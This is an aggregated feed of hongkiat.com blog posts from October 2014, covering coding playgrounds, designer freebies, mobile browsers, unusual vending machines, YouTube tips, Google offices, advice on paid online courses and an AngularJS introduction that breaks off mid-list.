Art supplies. What would I give to have all these art supplies that Olivia Serrill photographed. (Image source: Things Organized Neatly)

Band. Brazilian rock band Johnny Flirt were photographed with their instruments and equipment. (Image source: Matheus Pena)

Display wall. This exhibition wall resides in the Museum für Naturekunde in Berlin, Germany. (Image source: Museum für Naturekunde)

More Obsessively Organized Things »

Related posts:

  1. 20+ Cheatsheets & Infographics For Photographers
  2. 40 Spectacular Sights Of Nature You Need To See Before You Die
  3. 20 Amazing Skyscrapers You Can Actually Visit Soon
  4. 20 Skylines Of The World: Then Vs Now








6 Coding Playgrounds For Web Developers

hongkiat.com - Mon, 10/27/2014 - 11:01

Over the past couple of years several coding playgrounds have popped up, much to our delight. These are web applications that allow real-time editing and previews of client-side codes: HTML, CSS, and JavaScript. The best part of these coding playgrounds is that most of them are free and you can easily share a “playground” with someone either for teaching purposes or for debugging.

Personally, these web applications have been a great help to my work. Whenever I find myself stumped with JavaScript or CSS, I can easily create a playground and share it to my other developer friends for help. They are fun, interactive, and totally helpful especially for beginners. Here are 6 coding playgrounds that you can try out for yourself.

1. Codepen

Codepen is probably one of the most popular coding playgrounds out there. Chris Coyier of CSS Tricks is a co-founder/co-creator of Codepen, which probably explains why this web app looks grand. Aside from its sleek visuals, Codepen displays live previews of the changes you make in its editor, making it easier to see cause and effect.

(Image Source: Tiny City)

Codepen’s available CSS pre-processors include SCSS, SASS, LESS, and Stylus. And for JS pre-processor it has CoffeeScript and LiveScript. For HTML it has Haml, Markdown, Slim, and Jade. There’s also 8 built-in JS libraries ready to be used. Collaboration and private “pens” in Codepen are available, but you have to pay for them. [Get it here]

2. JSFiddle

JSFiddle is probably responsible for the popularity of coding playgrounds, since it is one of the first and most famous playgrounds available. JSFiddle has over 30 JavaScript libraries ready for immediate usage, plus you can add external files easily. For pre-processing, it has SCSS for CSS, CoffeeScript for JS and simple vanilla HTML.

(Image Source: Multi-Direction Hover Fiddle)

If you are collaborating with another developer, I highly recommend using JSFiddle to sort things out. Among the available coding playgrounds out there, JSFiddle’s collaboration feature is probably the best of the bunch. Plus the feature is easy to use and free, unlike Codepen.

What is missing from JSFiddle is live previews. You have to basically refresh the page by clicking on the play button. And compared to other playgrounds, JSFiddle is probably the slowest. Another slightly frustrating quirk of JSFiddle is its run button, sometimes clicking on it doesn’t work, so you’ll have to click a couple more times before it actually runs the code (and yes, I tested this on multiple browsers). [Get it here]

3. JS Bin

JS Bin is created by Remy Sharp, a master JavaScript developer who owns a web development company focused on, you guessed it, JavaScript (and HTML5). JS Bin’s JS pre-processor includes CoffeeScript, TypeScript, Traceur, and JSX and has over 40 JS libraries at its disposal. You can add external files, but you’ll have to do it manually on the editor. As for CSS pre-processor, it provides LESS.

What sets it apart from the previous playgrounds is that JS Bin allows you to download files to your computer, a nifty feature that may prove useful to developers, especially when fiddling around with code while offline. You can also create private “bins” on JS Bin but you will have to pay for this feature. Unfortunately, at this point, JS Bin doesn’t have a collaboration feature. [Get it here]

4. CSSDeck

CSSDeck has been around for several years now but it hasn’t made much of an impact. But it is still noteworthy because of its simplicity. If you want to avoid all the noise of other playgrounds with all of their features, CSSDeck is the app to use.

(Image Source: CSSDesk JS Clock Demo)

CSSDeck’s pre-processors include HAML, Markdown, Slim, and Jade for HTML, LESS, Stylus, SASS, and SCSS for CSS, and CoffeeScript for JS. It also has several CSS and JS libraries available and adding libraries that aren’t in the list is done manually, which should be easy.

One thing that surprised me about CSSDeck is its simple but useful feature that allows its users to increase text size. If you are looking for a playground with lots of fancy features then CSSDeck isn’t for you. But this is also what makes it unique since its simplicity gives focus on the things that matter. [Get it here]

5. Dabblet

Before anything else, Dabblet surprised me big time when I hovered on hex color codes. The colors actually popped out! Now, that’s a first. Although I’m not certain if that’s actually a useful feature, it’s still pretty neat.

Now, the great thing about Dabblet is that it allows its users to preview it in 5 different views: CSS editor and the result, HTML editor and the result, CSS and HTML editors and result, JavaScript and its playable result, or everything at once. I hope that wasn’t a mouthful, but it’s crucial to understand that this bulk feature is not available on other playgrounds.

One thing that I’m confused about is its lack of pre-processor options for HTML and CSS. It doesn’t have these along with built-in JavaScript libraries. But I guess you can insert those manually, so no sweat on that. With regards to each panels, they are fixed in size and you can’t resize them, something that the previous playgrounds have. Also, it doesn’t seem to have a gallery of demos from other users. [Get it here]

6. Liveweave

Liveweave is a useful coding playground packed with quite a few features such as having the capability to turn off its live preview. You can also take better care of your eyesight with the night vision mode, where everything turns dark. Liveweave offers over 20 JavaScript libraries. It even supports SVG. It also comes with a built-in ruler which is great for getting precise measurements and aesthetics.

One more thing that caught my attention is its easy collaboration feature. If you have used Teamviewer in the past, it works the same way. All you have to do is click on the Team Up link and you can share the link to your “weave”. I’m not certain if it’s my laptop or my Internet connection, but there seems to be a slight lag. Still, it’s an essential feature and Liveweave did it beautifully.

You can even download your weaves as a single HTML file (whoops, JS, CSS, and HTML in one file – minus points!) or as a zip file for separate HTML, CSS, and JS files (well, there you go). Before I forget, it has a built-in Lorem Ipsum generator. [Get it here]

Conclusion

Well, there you go, each playground has their own unique characteristics that may prove useful to you in one of your “playtimes”. I hope this article has helped you in picking the right one for your needs. If you have other playgrounds in mind, please do share them with us in the comments below.

No related posts.








40+ Freebies &#38; Goodies For Web Designers

hongkiat.com - Fri, 10/24/2014 - 15:01
p.entry-image { margin-bottom:40px!important; }

Everyone loves free stuff, right? If you’re a designer who likes having a variety of resources at your fingertips, you’d want to keep your eye out for as many freebies as you can.

We’ve put together for you another great collection of freebies. This time, you’ll find icons, templates, mockups, vector elements and much more. From iOS 8 color swatches to a range of fonts that you can use and experiment with, have a look and see if anything strikes your fancy.

Mockups

Poster PSD Mockup. Need to promote an event or project? A nice flyer can do the trick and here we have the right poster mockup for you.

Apple Watch Mockups. A set of mockups for the upcoming Apple Watch. Now you have something to showcase your future work!

Design Mockups. A beautiful mockup with a flat screen monitor and an iPad. The editing applied to the images make these easy on the eyes.

5 High-Quality Photographic Mockups. A set with 5 photographic mockups with iPad, iPhone and business card images. All in PSD format containing smart layers for a convenient way to add your content.

Eco Bag Mockup. A high resolution eco bag mockup that allows you to change background, add logos with smart layers and separate objects from shadows. Help file included!

User Interface

Profile UI Design. A beautiful user interface design for a profile on social networks. The transparency in the background integrates quite well with any website.

The Amsterdam User Interface. A beautiful UI kit implemented with pure code. It features a neat color palette and multiple icons, creating a very pleasant experience.

Fonts

Luthier Free Font. An adaptable serif typeface that works well with body texts, but holds enough personality to be interesting in headlines.

Looque Free Font. A sharp font that combines lines and curves for impressive results. Non-legibility is intentional, challenging the reader and designer.

Smidswater Font Family with 7 Styles. A fancy and very legible font family comprising of a light weight to bold font as well as condensed, italics and various combinations.

Cassiopeia Free Typeface. A quirky and somewhat esoteric typeface inspired by geometric forms, constellations and Pokémons.

ARCA MAJORA Free Font. A complete, all caps font featuring a good amount of accents for languages other than English.

Docker Free Font. A very interesting font for headlines and big sizes in general. Great for an easy 3D effect.

Nexa Rust Free Font. A versatile font system featuring various sub-families: Slab, sans, handmade, script and more!

Kilogram Free Font. A thick font that’s useful for titles and headers, providing a pretty striking look.

Fold Free Font. A beautiful font that sacrifices readability for a sleek appearance. Its pixel-like look is definitely the major feature.

Maddac Free Font. An attractive bold font from Isaac Taracks’ Behance account. Great for titles and headers on big sizes.

Icons

12000 Free Outline Icons. A huge package of literally thousands of minimalist icons available for free, all coming with their respective vectorial PSD files.

Nautical Vector Pack. Are you a lover of the sea? Here is a series of vector icons related to the sea that includes animals, objects and more.

210 Free Solid Icons. Here we have an icon set of no less than 210 icons in PSD, PNG and SVG formats.

Free Cutlery Icon Set. You won’t find many icon sets like this. Here we have a complete series of free cutlery icons for a home-and-kitchen-related project.

iOS 8 App Icon Set. A sweet pack of 30 application icons for the new iOS 8, available for Sketch.

Camping and Recreation Icon Set. A set of 40 icons with a particular topic. They have long shadows and a relaxed color palette, although you can modify the 4 different formats they come in at any time.

Apple Watch Free Screen Icons. A collection of the icons seen in the Apple Watch screen so far, all in vector shape.

60 Education Vector Icons. A huge icon package containing 60 icons with one thing in mind: Education. Whether it has to do withs maths or books, you’ll probably find it here.

Anicons: Animated Icon Library. An exciting icon library for people who work with anything related to animated content.

Templates

UI Design Templates. A gigantic package with hundreds of elements to build website and mobile applications. You can find virtually anything you can look for here.

Free Clean Interactive Resume. If you’re looking for a job or want to showcase your professional info, this interactive resume might be just what you need.

SKOKOV Profit PSD Template. A PSD template going for a modern look for your business, agency, corporation, etc. It’s meant to be a one-pager for an easy user experience.

LookShop: E-commerce Responsive Design Template. A responsive template meant for e-commerce sites. Available in PSD format.

Flat Admin Template. Admin pages don’t have to be all boring. Spice up the control center with this flat-styled template.

SNDSGN Website PSD Theme. A complete website template including custom buttons, icons and Google Fonts, all neatly packaged in PSD format.

Flat CV Template. Looking for a new job? Get an edge over other applicants with this modern looking CV template.

Photos

Free Set of 10 Polygonal Background Photos. A cool set of 10 polygonal pictures. The editing on these is very interesting and they’re provided in high resolution.

Stokpic: Totally Free Stock Photos. If you’re into stock photography, Stokpic will send you 10 new pictures to your email every fortnight. Best thing is you can do whatever you want with them!

Lychee: Self-Hosted Photo Management Done Right. Take care of your photos with Lychee, a useful tool for self-hosted image management.

WordPress

Creative Image Slider. A responsive image slider for your WordPress site that also lets you apply neat effects to make things more visually appealing.

Mobile App Converter WordPress Plugin. Need a quick way to make your site accessible to mobile users? This plugin promises to turn your site into a mobile app in no time.

Others

Android and iOS Photoshop Actions and Workflows. A collection of tools and tips for app creation in both Photoshop and Illustrator. A great asset for the modern designer.

Retro Badges and Signs. A set of old school badges and signs in vectorial form, editable in Illustrator.

iOS 8 Color Swatches and Gradients. A color palette with the gradients and swatches included in Apple’s new iOS 8.

Minimal Loop Preloaders. A set of small vector files with loading sequences for your website or app.

Legolize Yourself PSD. A super simple way to turn your photos into LEGO thanks to this PSD file.

Inksplash Text Effects. A useful pack with 5 simple effects for Adobe Illustrator that will give style and a vintage look to your text.

Logo Design Inspiration EBook. Need to make a new icon but don’t know where to start? Grab some inspiration with over 1000 logos thanks to this ebook.

32 Hipster Badges. A fancy collection of 32 badges in AI, EPS and PNG formats. They have a somewhat vintage design that will impress the trendier kind.

Editor’s note: This post is written by Juan Sarmiento for Hongkiat.com. Juan is a designer and developer, founder of iconShock.com, DesignShock.com, ByPeople.com and TemplateShock.com

Related posts:

  1. 40+ Freebies & Goodies For Web Designers – September
  2. 5 Latest Web Development Tools You Should Know
  3. Should You Hire A Web Designer Or Use a Web Builder?
  4. Fresh Resources For Designers And Developers – September 2014








13 Alternative Web Browsers For Smart Phones

hongkiat.com - Fri, 10/24/2014 - 12:01

With the advent of smart phones and availability of high speed Internet, the craze for mobile phone applications with unique and useful features is boosted as well. Considering this craze, one of the very important and core applications for accessing web pages and web sites is the web browser.

We all use a web browser to surf the net and check on what’s going on around the world after all. In this post, we feature 13 useful web browsers for mobile phones that you may have not heard of before. From enhanced privacy settings to offering multiple languages, chances are you’ll find a mobile web browser that’s just right for you.

Android Exsoul Web Browser

Exsoul Web Browser provides a fast browsing experience. Some of its important features include search suggestions, translating content, searching content on several search engines, work with 21 languages and much more. [Get it here]

Boat Browser

Boat browser is a powerful, customizable and smart mobile browser with some advanced features which provides you with an amazing experience. It has some premium (paid) features as well. [Get it here]

Baidu Browser

Baidu Browser provides a unique browsing experience on mobile phones. It provides a user friendly interface, speed dials, personalized news in different languages and lots of other cool features. Its most notable feature though is the night mode that lends a more comfortable browsing experience at night. [Get it here]

ONE Browser

ONE Browser is a fast and free to use mobile browser which utilizes picture compression and website optimization. Other cool functions include dual engine for better page display, smart website view and download optimization. [Get it here]

Web Search Browser

Web Search Browser is a fast mobile phone browser with an easy-to-use interface and design. Some of its important features are tabbed browsing, home screen displaying most visited web sites and bookmarks. It allows you the opportunity to personalize the design according to your taste. [Get it here]

iOS IQuest Browser

iQuest browser is a free to use browser designed for iOS. It makes browsing easy and allows one to search the web quicker. Other notable features include bookmarks syncing, private browsing, ad block, etc. [Get it here]

Docler Browser

Docler is a free web browser for iOS devices. Some of its important features include desktop mode, full screen browser, video inline support and private browsing with no history and no cache. [Get it here]

Mercury Web Browser

Mercury is a fast, elegant and a solid browser for iPhones. It has many features such as full screen browsing, ad block, multi-touch gestures, private browsing, file sharing, downloading, printing and much more. [Get it here]

AllInOneBrowser

As the name suggests, AllInOneBrowser is actually a browser which contains all the necessary things that you’ll need. Some of its important features are file manager for downloading files, multimedia player, PDF reader, full screen mode and private browsing among other things. [Get it here]

Apollo Browser

Apollo Browser is a useful browser that comes with a built-in ad blocker, a built-in Facebook chat, a download manager so that you can download files at a high speed and much more. [Get it here]

CXM Browser

CXM browser is pretty small at the size of 7.9MB but it supports multiple languages. It is an enterprise software edition which can be used to push bookmarks, set a homepage, blacklist URLs, and hide the address bar. This web browser is optimized for the iPhone 5. [Get it here]

For Various OS Dolphin Browser – Android, iPhone

Dolphin is a lightweight and secure mobile browser. With Dolphin, one can browse with a swipe and can search via voice. It has a big web app store and a wide range of add-ons. [Get it here]

Sleipnir – Android, iPhone, Windows Phone

Sleipnir is a web browser which can work efficiently with various gestures. It allows you to switch between the tabs with great speed and ease. The FavTab feature allows you to go directly to the tab you want even if there are around a 100 tabs opened. [Get it here]

Related posts:

  1. Manage Your To-Do Lists Across Multiple Devices With Any.DO
  2. Christmas Themed Games For iOS And Android
  3. 10 WhatsApp Alternatives For Your Smartphone
  4. 15 Video Editing Apps For iOS & Android Devices








Famous Internet Firsts: Then &#38; Now [Infographic]

hongkiat.com - Fri, 10/24/2014 - 09:01

The Internet has been around for awhile now that it’s a bit bizzare to think that it could have some sort of history. Did you know that the first book purchased on Amazon happened in 1995? And there’s plenty more being bought till today. For those of us curious about the rest of the Internet Firsts, the team at WebpageFX have put together this handy infographic.

The infographic below covers a range of Internet Firsts. From the first email to the first YouTube video, take a look at this infographic that offers you a look at what occured in the past and how things have grown since the Internet first came to being.

Related posts:

  1. Is The Internet Bad For Your Health? [Infographic]
  2. The Billion-Dollar Startups [Infographic]
  3. Website Invaders: PC Security vs. Website Security [Infographic]
  4. 9 Tips For Internet Privacy [Infographic]








40 Things You Don&#8217;t Expect To Find In Vending Machines

hongkiat.com - Thu, 10/23/2014 - 15:01

The person who thought of the vending machine is a genius for 2 simple reasons: you don’t need to hire personnel to man a vending machine like you would a store, and this keeps things in stock and available for the masses, 24/7. While most of the vending machines you are used to would dispense coffee, soft drinks, packaged food and snacks, these days we can find a lot more variety being offered.

Whether it is for convenience, or practicality, or to drive a concept or an idea home, here are 40 things you probably don’t expect to find in a vending machine, but now can.

Live Crabs. Who would have thought that we’d see the day when crabs can be made available in vending machines. And they are alive! Grab one on the go if you are in China.


(Image source: The Atlantic)

Ice cream. I scream, you scream, we scream for ice cream in a machine. This one is from Japan but you might have come across the ones from Ben and Jerry’s.


(Image source: Wikimedia)

Pizza (cooked). Want to get a steaming hot 9-inch pizza within 3 minutes? Then, keep a lookout for a Let’s Pizza vending machine. Most of these can be found around Europe and lately in America.


(Image source: Aol)

T-shirts. If you are a fan of Uniqlo T-shirts, this vending machine in Harajuku, Japan dispenses the whole line via vending machines. Shame it’s no longer there, though.


(Image source: Wired)

Noodles. Instant cup noodles aren’t the healthiest of snacks but if you still have a hankering for ramen or udon, this particular machine in Japan dispenses a hot bowl of these noodles complete with meat and veggies. Yummy!


(Image source: Techeblog)

Baguettes. Get fresh baguettes 24/7 with this particular vending machine, thought up by French baker Jean-Louis Hecht who got fed up with his customers knocking on his door on all hours of the day (and night) to get their hands on his delicious baguettes.


(Image source: Yahoo)

Guitar strings. For when you are on your way to a night gig and realize that your guitar needs a fix. It also dispenses guitar picks and drum sticks. This machine resides in Portland, Oregon.


(Image source: The Beer Chaser)

Bike parts. Cyclists will love this particular machine as it dispenses bike parts to replace the ones that broke in yours. You can also get your punctured tyre pumped or grab a quick snack. It first appeared in Brooklyn, New York.


(Image source: Pop-Up City)

Cupcakes. Satisfy your sudden midnight sweet tooth cravings with this heaven-sent machine by Sprinkles Cupcakes. The machines can be found in New York, LA, Chicago, Atlanta, and Dallas.


(Image source: New York Post)

Burgers. It’s official, fast food cannot get any faster than this machine in the Netherlands. If you prefer having your burger being cooked though, you can try Japan’s burger vending machine.


(Image source: Complex)

Bananas. When this vending machine first came out in Japan, people went bananas over them. I’d go bananas if I see this machine too.


(Image source: Tofugu)

Eggs. This vending machine is found in the mountains of the Northern Hyogo Prefecture, Japan and is the perfect way to keep eggs fresh and readily available for the residents there, 24/7.


(Image source: Tofugu)

Salad. Healthy and goodness, in a salad, in a jar, in a vending machine. Not all vending machines dispenses fast food. While we’re on the subject…


(Image source: Daily Mail)

Caviar. Ain’t nobody got time to dress up, fight for reservations, and light candles for some fine gourmet dining no more. Want some roe? Just grab them from the machine and go. More commonly found in upper scale neighborhoods in LA.


(Image source: NBC News)

LEGO. Is there a reason why this is only found in Germany’s train stations? LEGO has some explaining to do.


(Image source: i am bored)

DIY Toys. A project built by development specialists Squibbles Ink and toy store Rotofugi, this DIY machine in Chicago allows you to make your own toy.


(Image source: PSFK)

Rice. Being the staple food of the Japanese people, this machine makes sense. Why isn’t this machine found in more rice-loving Asian countries?


(Image source: The Wiki Gullet Project)

Fantastic Delites. Love Fantastic Delites crackers? This guerrilla marketing tactic dispenses the snack for free, if you would do the things the machine tells you to do. Check out how the public reacted in this video.


(Image source: Coloribus)

Fresh Lettuce. Lettuce doesn’t get fresher than this, in this machine in Japan that is. Perhaps this will help encourage more people to eat their greens rather than falling back on processed foods… naah!


(Image source: Huffington Post)

Pet Food. In order to feed its stray dogs and cats population, Istanbul came up with this vending machine. You slot in an empty plastic water bottle and it’ll dispense food at the bottom for strays.


(Image source: EarthPorm)

Wine. If there are vending machines that dispenses beer, why not wine? Now everyone can get their booze, pronto. Pennslyvania first introduced this machine in America in 2010.


(Image source: Daily Mail)

Mashed potatoes. Singaporeans probably loved their tay-toes, mashed and available on the go. Why else would this machine exist?


(Image source: The Huffington Post)

Pies. Yes, you heard right. Berdoll Pecan Candy & Gift Company’s vending machine at Cedar Creek, Texas dispenses entire honest-to-goodness Pecan pies.


(Image source: Team Hall & Nass)

Umbrellas. Never be caught out in sudden rain again. Just grab an umbrella from this machine and off you go to your next destination. This vending machine is placed around Hong Kong.


(Image source: Calvin-C)

Condoms. If you aren’t a fan of getting condoms from a supermarket aisle or a pharmacy, this is the perfect solution like this machine that resides outside an Italian pharmacy. Now, there is no reason why you can’t practice safe sex.


(Image source: Wikipedia)

Socks. This machine is a must have for all bowling alleys. And the socks should be as cute as these ones from South Korea. (P. S. We hate Mondays too!)


(Image source: DramaFever)

Shoes. You never know when the bottom of your sole may break under your constant jogs, so being able to just dump the old pair and grab a new pair from this Onitsuka Tiger machine in Carnaby Street, London is a great idea.


(Image source: Hypebeast)

Flip flops. Broke a heel? Overdressed for the beach? Just love walking around in flip flops? This Havaianas flip flop dispensing machine got you covered, in Australia, Europe and Indonesia.


(Image source: summersinhavaianas)

Jeans. If you are a fan of the Italian brand, this is great for getting an exact replacement of the jeans you love. I said exact because you can’t return purchased jeans once they’re out of the machine.


(Image source: Annytime)

Books. This is a bookstore masquerading as a vending machine – a novel idea indeed. If you are going to be stuck in the airport at the UK or Australia for a while, why not grab a book?


(Image source: Daily News)

Used Books. A great idea to promote reading, pick up a book from this machine in Canada or drop in one of your own. It’s better than leaving them on your mantelpiece, collecting dust.


(Image source: Oddee)

Skincare Products. If you can get it via the store or via the shopping network, why not from a vending machine, right? Keep a lookout for them at any American airport.


(Image source: Wikipedia)

Makeup. You might have come across a few of these in American airports, since Sephora introduced them in 2010. They are a boon for the female traveller in need of a touch-up.


(Image source: Imgarcade)

Baby Essentials. Forgetful parents who forget to pack their little one’s diapers (or any other essentials like pacifiers, baby wipes, lotion, powder, etc.) will consider this vending machine a lifesaver. This machine was spotted in Seaworld, Florida.


(Image source: Strangely Blogging)

Envelopes. Not a fan of sending emails? Go old school with envelopes in these vending machines found in Taiwan – stamps included!


(Image source: midori-japan)

Bicycle-For-Rent. Trust the bike-loving Dutch to come up with this very convenient means of transport. The machine allows you to rent the bike from one end and return it at another machine.


(Image source: Gizmodo)

Gold. Yes, this is a gold ATM, you know, a machine that dispenses gold instead of cash. The vending machine comes with security measures to prevent robbery, and money laundering. These extremely valuable machines can be found in New York, Las Vegas, Dubai, Abu Dhabi, Lisboa, Mendrisio, and Tirol.


(Image source: Gold to Go)

Last Minute Gifts. Found at the JFK airport in New York, this one is very handy for super-last minute shopping right before you board your flight. Grab items from branded sunglasses and scarfs to cameras and even Beats headphones.


(Image source: BK Vixen Gone MD)

Marijuana. Now before you all get excited over the possibility of smoking pot easily, you need one thing to purchase the weed in this machine: a doctor’s prescription. Also they are only available at certain states where medical marijuana is legal like California and Colorado as well as Canada.


(Image source: Vancouver 24 hrs)

Everything You Can Find In A Convenience Store. Because, why not?


(Image source: VendTrade)

What items do you find in the vending machines where you live? Tell us in the comments below.

No related posts.








5 YouTube Tricks You Probably Didn&#8217;t Know

hongkiat.com - Thu, 10/23/2014 - 12:21

Chances are most of us are quite familiar with YouTube. YouTube is the largest video channel on the Internet with more than 1 billion users visiting each month after all. We can enjoy a variety of videos on YouTube like comedy, pranks, interviews, tutorials, and live events.

I bet you have been enjoying countless of hours in YouTube. So, here we’ve put together 5 handy tricks to make YouTube more enjoyable for you.

1. Disabling Video Annotation

Annotation is a clickable box that overlays on top of YouTube videos. It aims to improve user engagement by displaying extra information or links related to the videos. It is useful for the video uploader, but can also be quite annoying for the users. Do you want to hide these annotations?

You can disable annotations to all YouTube videos via the YouTube settings. Click your profile picture then click the gear icon (YouTube Setting). On the left sidebar, select Playback and uncheck the Annotations and Interactivity option. Easy as that.

Unchecking this option will also hide the channel promotion and interactive card on the video you are watching.

2. Force Buffering Of The Entire Video

YouTube actually buffers only 30 seconds of the total video length when the video is paused. When your Internet connection isn’t quite fast enough to load the video this causes a lag. To avoid this, you can force YouTube to buffer the entire video before you can play it through,

SmartVideo for YouTube is a tool that can help with this and is available as a Firefox Add-on and Chrome Extension. After you’ve installed it and opened a YouTube video, you will see an additional option at the bottom of the video, click Global Preferences, and tick the box for Smart Buffer, as shown in the image below.

3. Disable Autoplay

YouTube will immediately start playing a video you’ve just opened which can sometimes be annoying. To disable autoplay video on YouTube, you can use the YouTube Control Center Add-on in Firefox or Stop Autoplay extension for Chrome.

It has a handful of options to control a YouTube video. Install this Add-on, and find Autoplays video when the player loads. Keep this option unchecked to disable Autoplay. Another option is the Stop Autoplay extension which does the same thing. You need to install it on Chrome, then activate it via the chrome://extensions/ page.

4. Watching YouTube In Slow-motion

Sometimes you’re watching a video in YouTube and it’s moving so fast that you can’t see the tiny details that you could’ve missed. Perhaps you want to play the video at a slower pace.

YouTube actually has HTML5 Player for its videos that you can request in YouTube.com/html5. Click Request the HTML 5 Player. Now open a video, you will find the option with speed adjustment. Do keep in mind though that you’ll need a browser that fully supports HTML5 video.

5. Download A YouTube Video’s Subtitle

There are many videos on YouTube that come in a language that you’re probably not familiar with. YouTube actually lets the video author add subtitles to help their viewers understand what is being said. However, if you’re downloading a particular video, the subtitles won’t come with it.

Use KeepSub to download the subtitles embedded in the video. Just copy the video url on the form, press the button and KeepSub will retrieve the subtitles for downloading. In addition, KeepSub also offers the translated subtitles using Google Translate.

Related posts:

  1. 7 YouTube Tricks You Probably Don’t Know








Google Offices Around The World [Photos]

hongkiat.com - Wed, 10/22/2014 - 15:01

Before tech giants start offering eyebrow-raising perks (like paying the costs for female employees to freeze their eggs), the great allure to working in places like Google were the salary, facilities and their awesome offices. Being a big part of the Web for 16 years, Google has amassed a reputation for its offices being the ideal workplace.

Employers have free reign to decorate their own workspaces as they like, but the overall look and design of the Google office varies from country to country. The office interior adopts design cues that jive well with local culture because what better way to reflect your workers’ diversity and at the same time make them feel at home, right?

For your viewing pleasure, here is what you are missing out from not being a Google employee in any of these 15 Google offices from all over the globe.

Toronto, Canada


(Image source: Izismile)


(Image source: Matthew Ingram)


(Image source: Matthew Ingram)

Los Angeles, California, US


(Image source: Google)

Munich, Germany


(Image source: rediff)


(Image source: DreamNFun)

Stockholm, Sweden


(Images source: Office Snapshots)

St Petersburg, Russia


(Images source: Office Snapshots)

Singapore


(Images source: Home and Decor)

Dublin, Ireland


(Images source: Office Snapshots)

Jakarta, Indonesia


(Images source: Google Indonesia)

Tel Aviv, Israel


(Images source: Office Snapshots)

Kuala Lumpur, Malaysia


(Images source: Office Snapshots)

Düsseldorf, Germany


(Images source: Office Snapshots)

Pittsburgh Pennsylvania, US


(Images source: Office Snapshots)

Milan, Italy


(Images source: Office Snapshots)

Haifa, Israel


(Images source: Office Snapshots)

Wrocław, Poland


(Image source: Office Snapshots)

More Google Offices »

No related posts.








5 Questions to Ask Before Signing Up for a Paid Online Course

hongkiat.com - Wed, 10/22/2014 - 12:01

Whether you’re a professional who wants to upgrade your skills, or an ever-curious person who wants to expand your knowledge, you can benefit from taking online courses. Many of these (relatively) inexpensive programs allow you to satisfy your thirst for learning in the comforts of your own home, and at your own pace.

While some of these courses are free, others aren’t. If you’re thinking of signing up for a paid course because you believe that “You get what you pay for”, or because of any other reason, you’d want to ask (and answer) these questions first to help you get the most bang for your buck.

1. What “Value” Does This Course Offer Me Today?

You can also rephrase this question as: “How will this course benefit me right now?

For example, if you’re a novice freelancer who has yet to land jobs, you’ll get more out of a course called “How to Land a Client in 7 Days” than “How to Re-invent Your 5-Year-Old Business”. Granted, the latter may come in handy in the future, but for now, focus on what you need to know at this very moment. Remember that you’re paying not just for the knowledge, but also for the results you can gain from that knowledge, so the sooner you get your investment back, the better.

2. Does the course facilitator/expert have excellent credentials?

But what if there are at least a dozen “experts” who all claim to be able to teach you “How to Land a Client in 7 Days”? Good question. Of course, you don’t want just any Tom, Dick, and Harry to teach you. You want someone who “walks the talk”, rather than someone who’s “all talk, no walk”.

To find Mr./Ms. “Walk the Talk”, you conduct a background check. You find out who’s facilitating the course you want to take, look them up on Linkedin, and read through anything that supports their claim of being an “expert” (e.g. work history, notable achievements, clientele, groups).

If the course facilitator doesn’t have a Linkedin, and/or it’s impossible for you to do a thorough background check on them, it’s better to err on the side of caution, and look for another course with a more credible facilitator.

3. What do non-affiliate reviews say about the course?

Sometimes, a famous personality in your industry will recommend a paid online course, with the disclaimer that s/he is an “affiliate” of such. When someone says, “I’m an affiliate of so-and-so”, what s/he means is “For every person that signs up for so-and-so, I will receive some form of monetary compensation.”

Now, this doesn’t necessarily mean that Mr./Ms. Famous Personality (FP) cares only about what s/he can get from you, money-wise. For all you know, Mr./Ms. FP may genuinely feel that the course gives great value for money.

Then again, it’s better to look up reviews from unbiased third parties who lurk in blogs, forums, and even your immediate social circle. These people are more likely to give you the good, the bad, and the ugly on a paid course without batting an eyelash.

4. Do you have the time to spare?

After answering the previous 3 questions, you can now decide whether the paid online course is worth it or not. If it is worth it, now’s the time to ask yourself: “Can I set aside at least a couple of hours each day to learn the course material?”

If you find it hard to schedule time to devote to the online course, think of it as another one of your college classes – albeit one you’re taking voluntarily, instead of one you’re taking because an authority figure is looking over your shoulder and nagging you about college credits, career goals, and the Big Life Questions. Set a fixed time and place where you go over the course materials and absorb what you need to learn without distractions.

Of course, you can try to study while doing other tasks, but recent research suggests you’re better off not multitasking.

5. Can you afford the course at the moment?

Notice that this question is the last on the list. There’s a reason for that.

If the paid online course is “valuable” to you in the best sense of the word, and you have more than enough time to spare for it, there’s no reason why you shouldn’t pay – unless you’re really, really broke. In that case, there’s no point sinking yourself further into a financial quagmire, and your energy is better spent looking elsewhere for high-quality free courses.

Conclusion

Price isn’t always a reliable indicator of quality. Paid online courses can be either good or not-so-good, and the same can be said of free online courses. Before you take any online course (free or otherwise), take time to research on it before hitting the “Sign Up” or “Register” button. That way, you’ll get your money’s (and time’s) worth, at least 90 percent of the time.

No related posts.








Getting Started With AngularJS

hongkiat.com - Tue, 10/21/2014 - 15:01

Every once in a while a new tool arises and just as it suddenly appeared, it seeps down into oblivion. Not AngularJS though. While it’s been around since 2009 since its creation by Misko Hevery, AngularJS has been gaining a lot of attention in the past couple of months.

People are talking about it, developers have been integrating it in their works, and authors have been writing books about it and earning loads of cash. So, what is AngularJS and why should you hop on it? Is it life-changing? It sure is! Let me tell you why.

Note: I highly recommend that you get comfortable with JavaScript first before delving deeper into AngularJS. If you aren’t familiar with MVC and DOM, I suggest reading more about them before proceeding further, otherwise you might get confused with most of the terminologies used in this article.

What is AngularJS?

AngularJS is not just another JavaScript framework. Sure, we have Backbone, Ember, and the hottest jQuery, but AngularJS is different in many ways.

Data-Binding and Built for Single-Page Applications (SPA)

Firstly, AngularJS is a data-binding framework that is specifically built for SPAs. Meaning, you can easily build an application without using any other libraries since it already has everything you will ever need. It also maintains synchronization for the model and view.

The beauty of building a SPA is that it imitates a desktop experience in which the page remains the same all throughout, with only the views being changed along with the URL – AngularJS handles routing as well as views. It’s faster and smoother this wa. It’s as if you’ve just opened a desktop application and having everything you need already there.

Another thing is that unlike other SPAs, the browser history is actually kept. For example, if you want to click on the back button to get back to the previous view, AngularJS will actually take you back to the previous view. Most SPAs don’t work this way.

Model-View-Controller Implementation Done Right

AngularJS implements MVC in a beautiful way. Most frameworks that use MVC requires you to separate your application into modules and then write code that will connect them together. While the reasoning behind this is to make the code work more flexible and reusable, this leads to many coding horrors, especially for lazy (or sleepy) developers. AngularJS handles this beautifully by simply requiring you to just split your application into different modules. It then handles the rest.

Animation

Of course a single-page application can’t look good without the appropriate animations. As mentioned earlier, AngularJS is a feature-rich framework that has all of the things you’ll need in building generic applications. As such, it provides an easy way to introduce animation in every view the same way as jQuery does.

Here’s a good example of how AngularJS handles animations.

But that is just the surface of AngularJS. Here is more of what it can do:

  • Data validation
  • Dependency injection
  • Handle custom logic
  • Multi-element directives
